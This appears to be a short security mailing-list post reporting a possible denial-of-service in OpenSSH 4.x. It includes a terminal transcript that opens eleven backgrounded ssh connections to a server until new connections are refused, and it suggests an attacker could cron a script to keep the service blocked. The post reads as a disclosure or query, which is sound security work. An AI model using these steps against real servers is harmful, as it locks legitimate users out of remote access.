OpenSSH 4.X DoS (maybe...)

OpenSSH 4.X deny remote connections.=0D
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The service itself doesn't crash, but it does NOT allow anyone to connect=
 after 10 or so pending connections.=0D
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To reproduce:=0D
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telnet 3.1.33.7 22=0D
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Trying 3.1.33.7...=0D
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Connected to 3.1.33.7.=0D
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Escape character is '^]'.=0D
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SSH-2.0-OpenSSH_4.7p1 Debian-2=0D
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Protocol mismatch.=0D
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Connection closed by foreign host.=0D
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darkstar# ssh 3.1.33.7=0D
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The authenticity of host '3.1.33.7 (3.1.33.7)' can't be established.=0D
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RSA key fingerprint is f9:10:92:7d:8b:70:cb:fe:1c:40:13:7b:6c:e7:d0:bf.=0D
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Are you sure you want to continue connecting (yes/no)? yes=0D
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Warning: Permanently added '3.1.33.7' (RSA) to the list of known hosts.=0D
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[email protected]'s password:=0D
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darkstar# ssh 3.1.33.7=0D
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darkstar# ssh 3.1.33.7 &=0D
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[1] 12945=0D
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darkstar# ssh 3.1.33.7 &=0D
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[2] 12946=0D
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darkstar# ssh 3.1.33.7 &=0D
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[3] 12947=0D
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darkstar# ssh 3.1.33.7 &=0D
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[4] 12948=0D
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darkstar# ssh 3.1.33.7 &=0D
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[5] 12949=0D
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darkstar# ssh 3.1.33.7 &=0D
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[6] 12950=0D
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darkstar# ssh 3.1.33.7 &=0D
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[7] 12951=0D
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darkstar# ssh 3.1.33.7 &=0D
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[8] 12952=0D
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darkstar# ssh 3.1.33.7 &=0D
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[9] 12953=0D
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darkstar# ssh 3.1.33.7 &=0D
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[10] 12954=0D
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darkstar# ssh 3.1.33.7 &=0D
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[11] 12955=0D
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darkstar#=0D
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ssh_exchange_identification: Connection closed by remote host=0D
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An attacker could cronjob a script to force this condition to remain true=
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This will deny anyone else from connecting to the service. Normal behavio=
ur?=0D
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Shouts: burnout,spithash princess^pookie, #codemasters=0D